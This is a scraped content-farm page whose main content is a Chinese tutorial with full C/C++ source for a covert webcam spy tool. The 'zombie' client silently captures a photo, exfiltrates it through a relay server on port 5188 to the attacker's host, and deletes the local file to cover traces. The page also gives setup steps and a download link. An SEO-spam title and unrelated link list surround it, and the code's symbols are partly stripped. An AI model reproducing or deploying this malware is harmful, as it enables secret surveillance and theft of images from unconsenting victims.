当前位置: 首页 > news >正文

黄南藏族自治州网站建设_网站建设公司_版式布局_seo优化

建站吗官方网站,创新的网站建设排行榜,自建社区网站,pop布局网站主要功能 肉鸡程序启动后可打开摄像头迅速拍摄一张照片#xff0c;通过服务器发送到主机#xff0c;发送完成后删除肉鸡本地保存的图片 相关技术 socket网络编程文件操作opencv 代码 肉鸡 #define _WINSOCKAPI_ #define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DE…主要功能 肉鸡程序启动后可打开摄像头迅速拍摄一张照片通过服务器发送到主机发送完成后删除肉鸡本地保存的图片 相关技术 socket网络编程文件操作opencv 代码 肉鸡 #define _WINSOCKAPI_ #define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DEPRECATED_NO_WARNINGS #include Windows.h #include Winsock2.h #include stdio.h #include stdlib.h #include string.h #include iostream #include tlhelp32.h #include opencv2/opencv.hpp #pragma comment(lib,Ws2_32.lib)using namespace std; using namespace cv;SOCKET inter(); void GetPhoto(); void SendPhoto(SOCKET sockid);void inter(SOCKET *sockid) {WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), wsd) ! 0){printf(WSAStartup\n);system(pause);exit(0);}SOCKADDR_IN addr;addr.sin_family AF_INET;addr.sin_port htons(5188);addr.sin_addr.S_un.S_addr inet_addr(******);//服务器ip*sockid socket(AF_INET, SOCK_STREAM, 0);if (connect(*sockid, (SOCKADDR *)addr, sizeof(addr)) ! 0){printf(connect\n);system(pause);exit(0);} }void GetPhoto() {VideoCapture capture(0);int delay 1000 / 30;string a[] { photo.jpg};Mat frame;capture frame;imshow(show, frame);Sleep(5);imwrite(a[0], frame); }void SendPhoto(SOCKET sockid) {GetPhoto();char buffer[4096] {0};FILE *fp fopen(photo.jpg, rb);while (!feof(fp)){int len fread(buffer, 1, sizeof(buffer), fp);if (len ! send(sockid, buffer, len,0)){printf(write.\n);break;}memset(buffer, 0, sizeof(buffer));}fclose(fp);char path[MAX_PATH];GetCurrentDirectory(MAX_PATH, path);strcat(path, \\photo.jpg);remove(path); }int main() {SOCKET sockid;inter(sockid); //连接服务器GetPhoto(); //获取图片SendPhoto(sockid); //发送图片closesocket(sockid);return 0; }主机 #define _WINSOCKAPI_ #define _CRT_SECURE_NO_WARNINGS #define _WINSOCK_DEPRECATED_NO_WARNINGS #include Windows.h #include Winsock2.h #include stdio.h #include stdlib.h #include string.h#pragma comment(lib,Ws2_32.lib)SOCKET inter() {WSADATA wsd;if (WSAStartup(MAKEWORD(2, 2), wsd) ! 0){printf(WSAStartup\n);system(pause);exit(0);}SOCKADDR_IN addr;addr.sin_family AF_INET;addr.sin_port htons(5188);addr.sin_addr.S_un.S_addr inet_addr(****);//服务器ipSOCKET sockid socket(AF_INET, SOCK_STREAM, 0);if (connect(sockid, (SOCKADDR *)addr, sizeof(addr)) ! 0){printf(connect\n);system(pause);exit(0);}return sockid; }void RecvPhoto(SOCKET sockid) {FILE *fp fopen(photo.jpg, wb);char buffer[4096] { 0 };while (1) {int n recv(sockid, buffer, 4096,0);if (n 0)break;fwrite(buffer, 1, n, fp);fseek(fp, 0, SEEK_END);}fclose(fp); }int main() {SOCKET sockid inter();RecvPhoto(sockid);return 0; }服务器 #include stdio.h #include stdlib.h #include time.h #include fcntl.h #include sys/select.h #include string.h #include unistd.h #include malloc.h #include sys/types.h #include sys/socket.h #include netinet/in.h #include arpa/inet.h#define clientA 0 #define clientB 1 #define max_client 2typedef struct clientNew {char *addr;int sockid;uint16_t port; }client_new;void client_new_init(client_new c_new[]) {int i0;for(;imax_client;i){c_new[i].addrNULL;c_new[i].sockid0;c_new[i].port0;} }int internet(client_new c_new[]) {int R_sockid0,H_sockid0;int flag1;int size0;struct sockaddr_in sockaddr;sockaddr.sin_familyAF_INET;sockaddr.sin_porthtons(5188);sockaddr.sin_addr.s_addrhtonl(INADDR_ANY);int sockidsocket(AF_INET,SOCK_STREAM,0);const int on1;if(setsockopt(sockid,SOL_SOCKET,SO_REUSEADDR,on,sizeof(on))0){printf(setsockopt\n);return 0;}if(bind(sockid,(struct sockaddr *)sockaddr,sizeof(sockaddr))0){printf(bind\n);return 0;}if(listen(sockid,SOMAXCONN)0){printf(listen\n);return 0;}struct sockaddr_in other_sock_addr;socklen_t other_sock_addr_lensizeof(other_sock_addr);int ret0,j0,i0;char receive[10]{0};while(j!max_client){int sockid_clientaccept(sockid,(struct sockaddr *)other_sock_addr,other_sock_addr_len);c_new[j].sockid sockid_client;c_new[j].addrinet_ntoa(other_sock_addr.sin_addr);c_new[j].portntohs(other_sock_addr.sin_port);printf(ip%s,port%d 已连接\n,c_new[j].addr,c_new[j].port);j;}R_sockidc_new[1].sockid;H_sockidc_new[0].sockid;char buffer[4096]{0};while(1){int n read(R_sockid, buffer, 4096); if(n 0)break;write(H_sockid,buffer,n);memset(buffer,0,sizeof(buffer));} } int main() {client_new c_new[max_client];client_new_init(c_new);internet(c_new);return 0; } 注 先启动服务器程序再启动主机程序最后启动肉鸡程序。本程序在32位机可能无法启动不铁的朋友不要冒犯缺失某些文件可点此处下载 https://pan.baidu.com/s/1d5ACcgl0-SBRCwIqjFJySw 提取码a9k9 4.服务器程序是在阿里云服务器跑的如果没有公网ip仅在局域网下是达不到效果的
http://www.lebaoying.cn/news/119169.html

相关文章:

  • 国外购买域名的网站网络推广有哪些渠道
  • 临沂市平邑县建设局网站搜狗指数官网
  • 网站备案几天wordpress 分类信息插件
  • 济南网站建设sdjy6大连企业网站建站
  • 网站开发公司起名求推荐个网址
  • 宁波做网站哪家好wordpress有赞收款插件
  • 爱心代码编程html教程seo咨询师
  • 有什么彩票网站做代理好点wordpress访问地址
  • 保定专业网站建设自己怎样制作网页
  • 网站建设采购公告网站更改备案
  • wordpress 增加文章字段seo引擎优化工具
  • 河北网站优化公司企业管理咨询服务是什么
  • 一个二手书网站的建设目标the7企业中英文wordpress模板
  • 灰色关键词网站建设网站用户模板
  • 网站建设相关的书籍什么是运营管理
  • 网站一直收录不了网站空间选择的主要原则有哪些
  • 互联网工具型网站介绍美食的网站模板
  • 服装网站的建设背景站长工具精华
  • 网站安全和信息化建设临沂网站建设对实体企业的重要性
  • 网站建设续费催款通知书帮别人做网站违法吗
  • 目前做哪个网站致富WordPress 教育模板
  • 网站建设哪家便什么是网站建设流程图
  • 做电影网站用什么程序深圳罗湖医疗集团网站建设
  • 常州微信网站建设流程昆山网站建设哪家比较好
  • 定制网站费用东莞做网站公司在哪
  • 新民电商网站建设价格咨询中山营销网站建设联系方式
  • 巴中公司网站建设frontpage制作个人网页教程
  • 站长工具百度网站顶部滑动展示的div层提示效果
  • 中国建设银行网站易方达消费网站建设服务合约
  • 制作企业网站要多少钱网站颜色搭配表